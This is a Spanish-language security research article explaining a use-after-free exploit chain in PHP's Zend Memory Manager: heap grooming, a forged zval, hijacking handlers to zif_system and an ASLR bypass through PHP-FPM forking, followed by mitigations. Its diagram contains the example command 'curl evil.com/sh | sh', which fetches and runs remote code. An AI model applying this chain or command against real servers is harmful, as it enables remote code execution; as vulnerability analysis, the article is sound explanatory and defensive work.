vulnerabilities php2shell exploit

De Puntero Colgante a system(): Manipulación de Heap en Zend MM, Creación de zval Falso y Cadena RCE

php2shell.run Research Lab •

De Puntero Colgante a system(): Manipulación de Heap en Zend MM, Creación de zval Falso y Cadena RCE

<time datetime="2026-10-23">Verificado: 23 de octubre de 2026</time> · Auditoría de Arquitectura: Zend Engine 4.x / ZMM (Zend Memory Manager)

La gravedad extraordinaria de PHP2Shell (CVE-2026-109618 y CVE-2026-109619) no se debe únicamente a la presencia de un fallo de memoria abstracto, sino a la existencia de una cadena de explotación determinista de extrema sofisticación que transforma un simple puntero colgante en ejecución remota de comandos en el sistema operativo sin requerir una fuga previa de memoria (Info-Leak) en sistemas modernos protegidos por ASLR y DEP/NX.

En este artículo desglosamos la mecánica interna de esta cadena de armamento ofensivo: cómo se prepara el asignador de memoria de PHP (Heap Grooming), la arquitectura de una estructura zval falsificada de 16 bytes y el secuestro final de la tabla de manejadores hacia la función interna zif_system().


1. Fundamentos del Asignador de Memoria Zend (ZMM)

Para comprender la viabilidad del ataque, es imprescindible analizar cómo gestiona la memoria el intérprete PHP. A diferencia de las aplicaciones convencionales en C que llaman directamente a malloc() de la biblioteca glibc para cada variable, PHP interpone su propio asignador personalizado: el Zend Memory Manager (ZMM).

El asignador ZMM está estructurado en torno a dos conceptos principales:

  1. Chunks (Grandes Bloques de 2 MB): Reservados desde el núcleo Linux mediante llamadas al sistema mmap(). Cada Chunk contiene páginas de 4 KB dedicadas a almacenar asignaciones pequeñas.
  2. Bins (Contenedores de Tamaño Fijo): Para tamaños de asignación entre 8 y 3072 bytes, ZMM dispone de 30 clases de tamaño fijas (por ejemplo: Bin 8, Bin 16, Bin 32 ... Bin 256, Bin 512).

La Disciplina LIFO en las Listas Libres

Cuando un bloque dentro de un Bin es desasignado mediante la función interna efree(), ZMM lo inserta en el extremo frontal de una lista simplemente enlazada (free_slot). En consecuencia, la siguiente solicitud emalloc() de tamaño similar recuperará de forma determinista e inmediata exactamente el mismo bloque de memoria recién liberado. Esta propiedad de conservación de localidad temporal (LIFO) es el pilar sobre el que se apoya la manipulación del heap en PHP2Shell.


2. Técnica de Heap Grooming (Acondicionamiento del Montón)

El acondicionamiento del heap es el proceso mediante el cual un atacante altera la disposición interna de la memoria para que los bloques vulnerables y los datos inyectados coincidan en posiciones contiguas y predecibles.

El atacante orquesta este proceso a través de un único flujo HTTP multipart especialmente estructurado:

 [ Fase 1: Desfragmentación y Drenaje ]
   El atacante envía una ráfaga de campos de formulario dummy.
   Esto consume los bloques huérfanos preexistentes en las listas libres de ZMM,
   llevando al asignador a un estado limpio y determinista.

 [ Fase 2: Localización del Bin Objetivo ]
   Se asigna el búfer temporal para `cached_post_bytes` dentro de un Bin
   específico (habitualmente el Bin de 256 bytes o 512 bytes).

 [ Fase 3: Disparo de Error Asimétrico ]
   Mediante la interrupción calculada del flujo de datos o la inyección
   de un límite de tamaño, se provoca un desenrollado por `zend_bailout()`.
   El bloque se libera en la lista libre de ZMM, pero el puntero global
   `PS(cached_post_bytes)` mantiene la referencia viva.

 [ Fase 4: Reclamación Inmediata con Datos Falsificados ]
   La siguiente parte del mensaje multipart inyecta un payload que encaja
   exactamente en la misma clase de Bin. ZMM le entrega el bloque recién liberado.

3. Fabricación del zval Falso de 16 Bytes (Fake zval Crafting)

Desde la reescritura arquitectónica de PHP 7, el contenedor de variables universal de PHP, el zval, fue optimizado para medir exactamente 16 bytes en arquitecturas x86_64, encajando directamente en dos registros de procesador de 64 bits:

/* Estructura oficial en Zend/zend_types.h */
struct _zval_struct {
    zend_value value;            /* 8 bytes: Puntero o valor escalar */
    union {
        struct {
            ZEND_ENDIAN_LOHI_3(
                zend_uchar type,         /* 1 byte: Tipo de dato (ej. IS_OBJECT = 8) */
                zend_uchar type_flags,   /* 1 byte: Banderas de referencia / constantes */
                union {
                    uint16_t extra;      /* 2 bytes: Metadatos auxiliares */
                } u;
            )
        } v;
        uint32_t type_info;      /* 4 bytes: Vista unificada de tipo */
    } u1;
    union {
        uint32_t next;           /* 4 bytes: Enlace hash */
        uint32_t cache_slot;     /* Ranura de cache literal */
        uint32_t lineno;         /* Numero de linea */
    } u2;
};

El atacante no necesita sobreescribir gigabytes de memoria; le basta con inyectar 16 bytes meticulosamente calculados en la posición donde el puntero colgante cached_post_bytes espera encontrar una variable legítima:

 ┌───────────────────────────────────────────────┬────────────┬────────────┬─────────────┐
 │ Campo value.obj (8 bytes)                     │ type (1 B) │ flags (1B) │ extra (2 B) │
 │ Dirección del objeto falso `zend_object`       │ IS_OBJECT  │   0x00     │   0x0000    │
 ├───────────────────────────────────────────────┴────────────┴────────────┴─────────────┤
 │ Campo u2 (4 bytes): 0x00000000 (Relleno y alineación de palabra)                      │
 └───────────────────────────────────────────────────────────────────────────────────────┘

Al etiquetar el campo type con la constante numérica correspondiente a IS_OBJECT (tipo 8 en PHP), el motor Zend asume que el valor es una instancia de clase de PHP que cuenta con una tabla de manejadores de métodos y propiedades.


4. Secuestro del Flujo de Control hacia zif_system()

Una vez que el motor interpreta el bloque como un zend_object, procede a consultar su estructura de manejadores (zend_object_handlers). En el diseño normal de PHP, esta tabla contiene punteros a funciones en C responsables de operaciones como leer propiedades, escribir propiedades o invocar métodos mágicos (__call, __invoke):

 [ zval Falso inyectado ]
          │
          ▼
   [ Estructura zend_object simulada ]
          ├── handlers ───> [ Tabla zend_object_handlers falsa ]
          │                      ├── read_property: NULL
          │                      └── call_method ───> 【 zif_system 】
          │
          └── properties ──> [ Cadena de comando: "curl evil.com/sh | sh" ]

En los binarios compilados de PHP, la función nativa que implementa la instrucción system() de los scripts se denomina internamente zif_system. Esta función reside en el segmento de texto ejecutable del binario de PHP o de la biblioteca compartida libphp.so.

Cuando el motor finaliza la petición e intenta invocar el destructor o serializar las variables de la sesión, desreferencia el puntero call_method de la tabla falsa. El puntero de instrucción del procesador ($rip) salta limpiamente a zif_system, recibiendo como primer argumento el puntero a la cadena de comandos preparada en la memoria del montón, resultando en la ejecución de comandos con los privilegios del proceso www-data.


5. El Eslabón Clave: Evasión de ASLR sin Información Previa

La gran pregunta que surge ante este diseño es: ¿Cómo conoce el atacante la dirección en memoria de zif_system si ASLR está activado?

La respuesta radica en la arquitectura de procesos de PHP-FPM. El proceso maestro de PHP-FPM se inicia durante el arranque del sistema bajo privilegios de root y sufre la aleatorización de ASLR. Sin embargo, todos los procesos trabajadores que atienden el tráfico web se generan mediante la llamada al sistema fork().

Bajo el estándar POSIX y el diseño de Linux, un proceso hijo generado por fork() hereda exactamente el mismo mapa de memoria virtual y las mismas direcciones base de bibliotecas que el proceso padre. Si un trabajador de PHP-FPM se bloquea debido a un fallo en la predicción de offsets, el maestro genera instantáneamente un nuevo trabajador con idéntica distribución de memoria, permitiendo ataques deterministas basados en las firmas estáticas de paquetes de distribuciones populares como Ubuntu, Debian o AlmaLinux.


6. Barreras de Contención y Mitigación Estratégica

Para neutralizar de raíz esta cadena de explotación:

  1. Desactivar la fuente: Configurar session.upload_progress.enabled = Off en php.ini destruye la condición inicial de Heap Grooming.
  2. Defensa en profundidad en el núcleo: Utilizar filtros Seccomp-BPF o AppArmor en Linux para prohibir que el binario de PHP-FPM invoque execve. De este modo, incluso si el secuestro de flujo hacia zif_system se ejecuta con éxito, el núcleo Linux denegará la creación del proceso de shell y abortará la intrusión.